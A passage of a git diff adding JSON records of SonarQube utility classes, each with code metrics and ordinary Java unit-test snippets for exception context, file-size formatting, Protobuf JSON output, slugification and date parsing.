assertThat(e.getMessage()).isEqualTo(LABEL);\n\n assertThat(e.getRawMessage()).isEqualTo(LABEL);\n\n assertThat(e.getCause()).isSameAs(cause);\n\n }" + }, + { + "description": "addContext", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void addContext() {\n\n ContextException e = ContextException.of(LABEL)\n\n .addContext(\"K1\", \"V1\")\n\n .addContext(\"K2\", \"V2\");\n\n assertThat(e).hasMessage(LABEL + \" | K1=V1 | K2=V2\");\n\n }" + }, + { + "description": "setContext", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void setContext() {\n\n ContextException e = ContextException.of(LABEL)\n\n .addContext(\"K1\", \"V1\")\n\n .setContext(\"K1\", \"V2\");\n\n assertThat(e).hasMessage(LABEL + \" | K1=V2\");\n\n }" + }, + { + "description": "multiple_context_values", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void multiple_context_values() {\n\n ContextException e = ContextException.of(LABEL)\n\n .addContext(\"K1\", \"V1\")\n\n .addContext(\"K1\", \"V2\");\n\n assertThat(e).hasMessage(LABEL + \" | K1=[V1,V2]\");\n\n }" + }, + { + "description": "merge_ContextException", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void merge_ContextException() {\n\n ContextException cause = ContextException.of(\"cause\").addContext(\"K1\", \"V1\");\n\n ContextException e = ContextException.of(cause)\n\n .addContext(\"K1\", \"V11\")\n\n .addContext(\"K2\", \"V2\");\n\n assertThat(e.getContext(\"K1\")).containsExactly(\"V1\", \"V11\");\n\n assertThat(e.getContext(\"K2\")).containsOnly(\"V2\");\n\n assertThat(e).hasMessage(\"K1=[V1,V11] | K2=V2\");\n\n }" + }, + { + "description": "merge_ContextException_with_new_message", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void merge_ContextException_with_new_message() {\n\n ContextException cause = ContextException.of(\"cause\").addContext(\"K1\", \"V1\");\n\n ContextException e = ContextException.of(LABEL, cause).addContext(\"K2\", \"V2\");\n\n assertThat(e.getContext(\"K1\")).containsOnly(\"V1\");\n\n assertThat(e.getContext(\"K2\")).containsOnly(\"V2\");\n\n assertThat(e).hasMessage(LABEL + \" | K1=V1 | K2=V2\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/DefaultHttpDownloader.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/DefaultHttpDownloader.json new file mode 100644 index 0000000..a67ef71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/DefaultHttpDownloader.json @@ -0,0 +1,13 @@ +{ + "name": "DefaultHttpDownloader", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 2, + "apis": 40, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/FileUtils.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/FileUtils.json new file mode 100644 index 0000000..3cebaef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/FileUtils.json @@ -0,0 +1,44 @@ +{ + "name": "FileUtils", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 168, + "branches": 18, + "apis": 31, + "test": [ + { + "description": "deleteQuietly_does_not_fail_if_argument_is_null", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void deleteQuietly_does_not_fail_if_argument_is_null() {\n\n FileUtils.deleteQuietly((File) null);\n\n FileUtils.deleteQuietly((Path) null);\n\n }" + }, + { + "description": "humanReadableByteCountSI_returns_bytes", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void humanReadableByteCountSI_returns_bytes() {\n\n assertThat(FileUtils.humanReadableByteCountSI(123)).isEqualTo(\"123 bytes\");\n\n assertThat(FileUtils.humanReadableByteCountSI(0)).isEqualTo(\"0 bytes\");\n\n assertThat(FileUtils.humanReadableByteCountSI(1)).isEqualTo(\"1 byte\");\n\n }" + }, + { + "description": "humanReadableByteCountSI_returns_kbs", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void humanReadableByteCountSI_returns_kbs() {\n\n assertThat(FileUtils.humanReadableByteCountSI(1_234)).isEqualTo(\"1.2 kB\");\n\n assertThat(FileUtils.humanReadableByteCountSI(1_000)).isEqualTo(\"1.0 kB\");\n\n assertThat(FileUtils.humanReadableByteCountSI(9_999)).isEqualTo(\"10.0 kB\");\n\n assertThat(FileUtils.humanReadableByteCountSI(999_949)).isEqualTo(\"999.9 kB\");\n\n }" + }, + { + "description": "humanReadableByteCountSI_returns_tbs", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void humanReadableByteCountSI_returns_tbs() {\n\n assertThat(FileUtils.humanReadableByteCountSI(1_234_000_000_000L)).isEqualTo(\"1.2 TB\");\n\n }" + }, + { + "description": "humanReadableByteCountSI_returns_mbs", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void humanReadableByteCountSI_returns_mbs() {\n\n assertThat(FileUtils.humanReadableByteCountSI(1234567)).isEqualTo(\"1.2 MB\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/LineReaderIterator.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/LineReaderIterator.json new file mode 100644 index 0000000..b5460de --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/LineReaderIterator.json @@ -0,0 +1,38 @@ +{ + "name": "LineReaderIterator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 22, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "read_lines", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void read_lines() {\n\n LineReaderIterator it = new LineReaderIterator(new StringReader(\"line1\\nline2\"));\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.next()).isEqualTo(\"line1\");\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.next()).isEqualTo(\"line2\");\n\n assertThat(it.hasNext()).isFalse();\n\n }" + }, + { + "description": "ignore_last_newline", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void ignore_last_newline() {\n\n LineReaderIterator it = new LineReaderIterator(new StringReader(\"line1\\nline2\\n\"));\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.next()).isEqualTo(\"line1\");\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.next()).isEqualTo(\"line2\");\n\n assertThat(it.hasNext()).isFalse();\n\n }" + }, + { + "description": "no_lines", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void no_lines() {\n\n LineReaderIterator it = new LineReaderIterator(new StringReader(\"\"));\n\n assertThat(it.hasNext()).isFalse();\n\n }" + }, + { + "description": "do_not_wrap_BufferedReader_in_BufferedReader", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void do_not_wrap_BufferedReader_in_BufferedReader() {\n\n // TODO how to verify that constructor does not build new BufferedReader(BufferedReader) ?\n\n LineReaderIterator it = new LineReaderIterator(new BufferedReader(new StringReader(\"line\")));\n\n assertThat(it.next()).isEqualTo(\"line\");\n\n assertThat(it.hasNext()).isFalse();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/NonNullInputFunction.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/NonNullInputFunction.json new file mode 100644 index 0000000..a43d326 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/NonNullInputFunction.json @@ -0,0 +1,26 @@ +{ + "name": "NonNullInputFunction", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 12, + "branches": 0, + "apis": 0, + "test": [ + { + "description": "fail_if_null_input", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void fail_if_null_input() {\n\n try {\n\n underTest.apply(null);\n\n fail();\n\n } catch (IllegalArgumentException e) {\n\n assertThat(e).hasMessage(\"Null inputs are not allowed in this function\");\n\n }\n\n }" + }, + { + "description": "apply", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void apply() {\n\n assertThat(underTest.apply(\"foo\")).isEqualTo(3);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ParamChange.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ParamChange.json new file mode 100644 index 0000000..7da9fdf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ParamChange.json @@ -0,0 +1,13 @@ +{ + "name": "ParamChange", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 14, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProcessWrapperFactory.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProcessWrapperFactory.json new file mode 100644 index 0000000..5967ef7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProcessWrapperFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ProcessWrapperFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 8, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProgressLogger.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProgressLogger.json new file mode 100644 index 0000000..357fc3b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProgressLogger.json @@ -0,0 +1,20 @@ +{ + "name": "ProgressLogger", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 1, + "apis": 13, + "test": [ + { + "description": "create", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void create() {\n\n ProgressLogger progress = ProgressLogger.create(getClass(), new AtomicLong());\n\n\n\n // default values\n\n assertThat(progress.getPeriodMs()).isEqualTo(60000L);\n\n assertThat(progress.getPluralLabel()).isEqualTo(\"rows\");\n\n\n\n // override values\n\n progress.setPeriodMs(10L);\n\n progress.setPluralLabel(\"issues\");\n\n assertThat(progress.getPeriodMs()).isEqualTo(10L);\n\n assertThat(progress.getPluralLabel()).isEqualTo(\"issues\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Protobuf.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Protobuf.json new file mode 100644 index 0000000..e9153d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Protobuf.json @@ -0,0 +1,32 @@ +{ + "name": "Protobuf", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 152, + "branches": 8, + "apis": 27, + "test": [ + { + "description": "only_utils", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void only_utils() {\n\n assertThat(TestUtils.hasOnlyPrivateConstructors(Protobuf.class)).isTrue();\n\n }" + }, + { + "description": "fail_to_write_single_message", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void fail_to_write_single_message() {\n\n assertThatThrownBy(() -> {\n\n File dir = temp.newFolder();\n\n Protobuf.write(Fake.getDefaultInstance(), dir);\n\n }).isInstanceOf(ContextException.class)\n\n .hasMessageContaining(\"Unable to write message\");\n\n }" + }, + { + "description": "fail_to_read_stream", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void fail_to_read_stream() {\n\n assertThatThrownBy(() -> {\n\n File dir = temp.newFolder();\n\n Protobuf.readStream(dir, Fake.parser());\n\n }).isInstanceOf(ContextException.class)\n\n .hasMessageContaining(\"Unable to read messages\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProtobufJsonFormat.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProtobufJsonFormat.json new file mode 100644 index 0000000..ca7904e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProtobufJsonFormat.json @@ -0,0 +1,110 @@ +{ + "name": "ProtobufJsonFormat", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 125, + "branches": 16, + "apis": 64, + "test": [ + { + "description": "test_primitive_types", + "expected-problems": null, + "expected-linenumbers": 12, + "code": " public void test_primitive_types() {\n\n PrimitiveTypeMsg protobuf = PrimitiveTypeMsg.newBuilder()\n\n .setStringField(\"foo\")\n\n .setIntField(10)\n\n .setLongField(100L)\n\n .setDoubleField(3.14)\n\n .setBooleanField(true)\n\n .setEnumField(org.sonar.core.test.Test.FakeEnum.GREEN)\n\n .build();\n\n\n\n assertThat(toJson(protobuf)).isEqualTo(\n\n \"{\\\"stringField\\\":\\\"foo\\\",\\\"intField\\\":10,\\\"longField\\\":100,\\\"doubleField\\\":3.14,\\\"booleanField\\\":true,\\\"enumField\\\":\\\"GREEN\\\"}\");\n\n }" + }, + { + "description": "toJson_whenPrefixedEnum_shouldConvertToExpectedEnumValue", + "expected-problems": null, + "expected-linenumbers": 12, + "code": " public void toJson_whenPrefixedEnum_shouldConvertToExpectedEnumValue() {\n\n PrimitiveTypeMsg protobuf = PrimitiveTypeMsg.newBuilder()\n\n .setStringField(\"foo\")\n\n .setIntField(10)\n\n .setLongField(100L)\n\n .setDoubleField(3.14)\n\n .setBooleanField(true)\n\n .setEnumField(org.sonar.core.test.Test.FakeEnum.FakeEnum_YELLOW)\n\n .build();\n\n\n\n assertThat(toJson(protobuf)).isEqualTo(\n\n \"{\\\"stringField\\\":\\\"foo\\\",\\\"intField\\\":10,\\\"longField\\\":100,\\\"doubleField\\\":3.14,\\\"booleanField\\\":true,\\\"enumField\\\":\\\"YELLOW\\\"}\");\n\n }" + }, + { + "description": "bytes_field_can_not_be_converted", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void bytes_field_can_not_be_converted() {\n\n assertThatThrownBy(() -> {\n\n PrimitiveTypeMsg protobuf = PrimitiveTypeMsg.newBuilder()\n\n .setBytesField(ByteString.copyFrom(new byte[]{2, 4}))\n\n .build();\n\n\n\n ProtobufJsonFormat.write(protobuf, JsonWriter.of(new StringWriter()));\n\n })\n\n .isInstanceOf(RuntimeException.class)\n\n .hasMessage(\"JSON format does not support type 'BYTE_STRING' of field 'bytesField'\");\n\n }" + }, + { + "description": "do_not_write_null_primitive_fields", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void do_not_write_null_primitive_fields() {\n\n PrimitiveTypeMsg msg = PrimitiveTypeMsg.newBuilder().build();\n\n\n\n // fields are absent\n\n assertThat(msg.hasStringField()).isFalse();\n\n assertThat(msg.hasIntField()).isFalse();\n\n }" + }, + { + "description": "write_empty_string", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void write_empty_string() {\n\n PrimitiveTypeMsg msg = PrimitiveTypeMsg.newBuilder().setStringField(\"\").build();\n\n\n\n // field is present\n\n assertThat(msg.hasStringField()).isTrue();\n\n assertThat(msg.getStringField()).isEmpty();\n\n\n\n assertThat(toJson(msg)).isEqualTo(\"{\\\"stringField\\\":\\\"\\\"}\");\n\n }" + }, + { + "description": "write_array", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void write_array() {\n\n TestArray msg = TestArray.newBuilder()\n\n .addStrings(\"one\").addStrings(\"two\")\n\n .addNesteds(NestedMsg.newBuilder().setLabel(\"nestedOne\")).addNesteds(NestedMsg.newBuilder().setLabel(\"nestedTwo\"))\n\n .build();\n\n\n\n assertThat(toJson(msg))\n\n .isEqualTo(\"{\\\"strings\\\":[\\\"one\\\",\\\"two\\\"],\\\"nesteds\\\":[{\\\"label\\\":\\\"nestedOne\\\"},{\\\"label\\\":\\\"nestedTwo\\\"}]}\");\n\n }" + }, + { + "description": "write_empty_array", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void write_empty_array() {\n\n TestArray msg = TestArray.newBuilder().build();\n\n\n\n assertThat(toJson(msg)).isEqualTo(\"{\\\"strings\\\":[],\\\"nesteds\\\":[]}\");\n\n }" + }, + { + "description": "do_not_write_null_wrapper_of_array", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void do_not_write_null_wrapper_of_array() {\n\n TestNullableArray msg = TestNullableArray.newBuilder()\n\n .setLabel(\"world\")\n\n .build();\n\n\n\n assertThat(msg.hasCountries()).isFalse();\n\n\n\n // array wrapper is null\n\n assertThat(toJson(msg)).isEqualTo(\"{\\\"label\\\":\\\"world\\\"}\");\n\n }" + }, + { + "description": "inline_wrapper_of_array", + "expected-problems": null, + "expected-linenumbers": 14, + "code": " public void inline_wrapper_of_array() {\n\n TestNullableArray msg = TestNullableArray.newBuilder()\n\n .setLabel(\"world\")\n\n .setCountries(Countries.newBuilder())\n\n .build();\n\n assertThat(msg.hasCountries()).isTrue();\n\n assertThat(toJson(msg)).contains(\"\\\"label\\\":\\\"world\\\",\\\"countries\\\":[]\");\n\n\n\n msg = TestNullableArray.newBuilder()\n\n .setLabel(\"world\")\n\n .setCountries(Countries.newBuilder().addCountries(Country.newBuilder().setName(\"France\").setContinent(\"Europe\")))\n\n .build();\n\n assertThat(msg.hasCountries()).isTrue();\n\n assertThat(toJson(msg)).contains(\"\\\"label\\\":\\\"world\\\",\\\"countries\\\":[{\\\"name\\\":\\\"France\\\",\\\"continent\\\":\\\"Europe\\\"}]\");\n\n }" + }, + { + "description": "write_map", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void write_map() {\n\n TestMap.Builder builder = TestMap.newBuilder();\n\n builder.getMutableStringMap().put(\"one\", \"un\");\n\n builder.getMutableStringMap().put(\"two\", \"deux\");\n\n builder.getMutableNestedMap().put(\"three\", NestedMsg.newBuilder().setLabel(\"trois\").build());\n\n builder.getMutableNestedMap().put(\"four\", NestedMsg.newBuilder().setLabel(\"quatre\").build());\n\n assertThat(toJson(builder.build())).isEqualTo(\n\n \"{\\\"stringMap\\\":{\\\"one\\\":\\\"un\\\",\\\"two\\\":\\\"deux\\\"},\\\"nestedMap\\\":{\\\"three\\\":{\\\"label\\\":\\\"trois\\\"},\\\"four\\\":{\\\"label\\\":\\\"quatre\\\"}}}\");\n\n }" + }, + { + "description": "write_empty_map", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void write_empty_map() {\n\n TestMap.Builder builder = TestMap.newBuilder();\n\n assertThat(toJson(builder.build())).isEqualTo(\"{\\\"stringMap\\\":{},\\\"nestedMap\\\":{}}\");\n\n }" + }, + { + "description": "do_not_write_null_wrapper_of_map", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void do_not_write_null_wrapper_of_map() {\n\n TestNullableMap msg = TestNullableMap.newBuilder()\n\n .setLabel(\"world\")\n\n .build();\n\n assertThat(toJson(msg)).isEqualTo(\"{\\\"label\\\":\\\"world\\\"}\");\n\n }" + }, + { + "description": "inline_wrapper_of_map", + "expected-problems": null, + "expected-linenumbers": 15, + "code": " public void inline_wrapper_of_map() {\n\n TestNullableMap msg = TestNullableMap.newBuilder()\n\n .setLabel(\"world\")\n\n .setTranslations(Translations.newBuilder())\n\n .build();\n\n assertThat(toJson(msg)).isEqualTo(\"{\\\"label\\\":\\\"world\\\",\\\"translations\\\":{}}\");\n\n\n\n Translations.Builder translationsBuilder = Translations.newBuilder();\n\n translationsBuilder.getMutableTranslations().put(\"one\", \"un\");\n\n translationsBuilder.getMutableTranslations().put(\"two\", \"deux\");\n\n msg = TestNullableMap.newBuilder()\n\n .setLabel(\"world\")\n\n .setTranslations(translationsBuilder)\n\n .build();\n\n assertThat(toJson(msg)).isEqualTo(\"{\\\"label\\\":\\\"world\\\",\\\"translations\\\":{\\\"one\\\":\\\"un\\\",\\\"two\\\":\\\"deux\\\"}}\");\n\n }" + }, + { + "description": "write_map_of_arrays", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void write_map_of_arrays() {\n\n // this is a trick to have arrays in map values\n\n TestMapOfArray.Builder msg = TestMapOfArray.newBuilder();\n\n\n\n // wrapper over array\n\n Countries europe = Countries.newBuilder()\n\n .addCountries(Country.newBuilder().setContinent(\"Europe\").setName(\"France\"))\n\n .addCountries(Country.newBuilder().setContinent(\"Europe\").setName(\"Germany\"))\n\n .build();\n\n msg.getMutableMoneys().put(\"eur\", europe);\n\n assertThat(toJson(msg.build())).isEqualTo(\"{\\\"moneys\\\":{\\\"eur\\\":[{\\\"name\\\":\\\"France\\\",\\\"continent\\\":\\\"Europe\\\"},{\\\"name\\\":\\\"Germany\\\",\\\"continent\\\":\\\"Europe\\\"}]}}\");\n\n }" + }, + { + "description": "write_map_of_map", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void write_map_of_map() {\n\n // this is a trick to have maps in map values\n\n TestMapOfMap.Builder msg = TestMapOfMap.newBuilder();\n\n\n\n // wrapper over map\n\n Translations.Builder translationsBuilder = Translations.newBuilder();\n\n translationsBuilder.getMutableTranslations().put(\"one\", \"un\");\n\n translationsBuilder.getMutableTranslations().put(\"two\", \"deux\");\n\n msg.getMutableCatalogs().put(\"numbers\", translationsBuilder.build());\n\n assertThat(toJson(msg.build())).isEqualTo(\"{\\\"catalogs\\\":{\\\"numbers\\\":{\\\"one\\\":\\\"un\\\",\\\"two\\\":\\\"deux\\\"}}}\");\n\n }" + }, + { + "description": "constructor_is_private", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void constructor_is_private() {\n\n assertThat(TestUtils.hasOnlyPrivateConstructors(ProtobufJsonFormat.class)).isTrue();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ResourceUtils.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ResourceUtils.json new file mode 100644 index 0000000..aae0422 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ResourceUtils.json @@ -0,0 +1,32 @@ +{ + "name": "ResourceUtils", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 27, + "branches": 2, + "apis": 4, + "test": [ + { + "description": "whenReadValidClasspathResource_thenReadIt", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void whenReadValidClasspathResource_thenReadIt() {\n\n String result = ResourceUtils.readClasspathResource(ResourceUtilsTest.class, \"classpath_resource.txt\");\n\n assertThat(result)\n\n .isEqualTo(\"OK\\n\");\n\n }" + }, + { + "description": "whenReadInexistantClasspathResource_thenThrow", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void whenReadInexistantClasspathResource_thenThrow() {\n\n assertThatThrownBy(\n\n () -> ResourceUtils.readClasspathResource(ResourceUtilsTest.class, \"inexistant_resource.txt\"))\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Fail to read classpath resource: inexistant_resource.txt of class: org.sonar.core.util\");\n\n }" + }, + { + "description": "whenReadClasspathResourceFails_thenThrow", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void whenReadClasspathResourceFails_thenThrow() {\n\n try (MockedStatic scopedMock = mockStatic(IOUtils.class)) {\n\n scopedMock.when(() -> IOUtils.toString(any(InputStream.class), any(Charset.class))).thenThrow(new IOException(\"error\"));\n\n assertThatThrownBy(() -> ResourceUtils.readClasspathResource(ResourceUtilsTest.class, \"classpath_resource.txt\"))\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Fail to read classpath resource: classpath_resource.txt of class: org.sonar.core.util\");\n\n }\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SequenceUuidFactory.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SequenceUuidFactory.json new file mode 100644 index 0000000..cc27d7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SequenceUuidFactory.json @@ -0,0 +1,20 @@ +{ + "name": "SequenceUuidFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 12, + "branches": 0, + "apis": 3, + "test": [ + { + "description": "generate_sequence_of_integer_ids", + "expected-problems": null, + "expected-linenumbers": 12, + "code": " public void generate_sequence_of_integer_ids() {\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000001\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000002\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000003\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000004\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000005\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000006\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000007\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000008\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000009\");\n\n assertThat(underTest.create()).isEqualTo(\"00000000-0000-0000-0000-000000000010\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SettingFormatter.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SettingFormatter.json new file mode 100644 index 0000000..5760847 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SettingFormatter.json @@ -0,0 +1,32 @@ +{ + "name": "SettingFormatter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 19, + "branches": 1, + "apis": 4, + "test": [ + { + "description": "fromJavaPropertyToEnvVariable", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void fromJavaPropertyToEnvVariable() {\n\n String output = SettingFormatter.fromJavaPropertyToEnvVariable(\"some.randomProperty-123.test\");\n\n assertThat(output).isEqualTo(\"SOME_RANDOMPROPERTY_123_TEST\");\n\n }" + }, + { + "description": "test_getStringArrayBySeparator_on_input_with_separator", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_getStringArrayBySeparator_on_input_with_separator() {\n\n String[] result = SettingFormatter.getStringArrayBySeparator(\" abc, DeF , ghi\", \",\");\n\n assertThat(result).containsExactly(\"abc\", \"DeF\", \"ghi\");\n\n }" + }, + { + "description": "test_getStringArrayBySeparator_on_input_without_separator", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_getStringArrayBySeparator_on_input_without_separator() {\n\n String[] result = SettingFormatter.getStringArrayBySeparator(\" abc, DeF , ghi\", \";\");\n\n assertThat(result).containsExactly(\"abc, DeF , ghi\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Slug.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Slug.json new file mode 100644 index 0000000..c6e60cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Slug.json @@ -0,0 +1,20 @@ +{ + "name": "Slug", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 2, + "apis": 21, + "test": [ + { + "description": "slugify", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void slugify() {\n\n assertThat(Slug.slugify(\"foo\")).isEqualTo(\"foo\");\n\n assertThat(Slug.slugify(\" FOO \")).isEqualTo(\"foo\");\n\n assertThat(Slug.slugify(\"he's here\")).isEqualTo(\"he-s-here\");\n\n assertThat(Slug.slugify(\"foo-bar\")).isEqualTo(\"foo-bar\");\n\n assertThat(Slug.slugify(\"foo_bar\")).isEqualTo(\"foo_bar\");\n\n assertThat(Slug.slugify(\"accents éà\")).isEqualTo(\"accents-ea\");\n\n assertThat(Slug.slugify(\"\")).isEqualTo(\"foo\");\n\n assertThat(Slug.slugify(\"<\\\"foo:\\\">\")).isEqualTo(\"foo\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UtcDateUtils.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UtcDateUtils.json new file mode 100644 index 0000000..f41d5f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UtcDateUtils.json @@ -0,0 +1,26 @@ +{ + "name": "UtcDateUtils", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 16, + "branches": 0, + "apis": 7, + "test": [ + { + "description": "parse_then_format", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void parse_then_format() {\n\n Date date = UtcDateUtils.parseDateTime(\"2014-01-14T14:00:00+0200\");\n\n assertThat(UtcDateUtils.formatDateTime(date)).isEqualTo(\"2014-01-14T12:00:00+0000\");\n\n }" + }, + { + "description": "fail_if_bad_format", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void fail_if_bad_format() {\n\n try {\n\n UtcDateUtils.parseDateTime(\"2014-01-14\");\n\n fail();\n\n } catch 